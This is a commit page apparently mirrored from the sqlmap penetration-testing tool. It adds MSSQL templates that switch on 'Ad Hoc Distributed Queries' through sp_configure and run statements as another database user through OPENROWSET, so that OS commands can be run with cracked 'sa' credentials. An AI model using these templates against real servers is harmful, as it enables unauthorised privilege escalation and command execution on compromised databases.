mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-21 06:59:02 +00:00
initial support for --dbms-cred for MSSQL: can be used to execute OS commands as another DB use - useful if you have retrieved and cracked the 'sa' DBA password by any mean and can provide it to sqlmap
This commit is contained in:
6
procs/mssqlserver/configure_openrowset.txt
Normal file
6
procs/mssqlserver/configure_openrowset.txt
Normal file
@@ -0,0 +1,6 @@
|
||||
EXEC master..sp_configure 'show advanced options', 1;
|
||||
RECONFIGURE WITH OVERRIDE;
|
||||
EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%;
|
||||
RECONFIGURE WITH OVERRIDE;
|
||||
EXEC sp_configure 'show advanced options', 0;
|
||||
RECONFIGURE WITH OVERRIDE;
|
||||
1
procs/mssqlserver/run_statement_as_user.txt
Normal file
1
procs/mssqlserver/run_statement_as_user.txt
Normal file
@@ -0,0 +1 @@
|
||||
SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','%STATEMENT%');
|
||||
Reference in New Issue
Block a user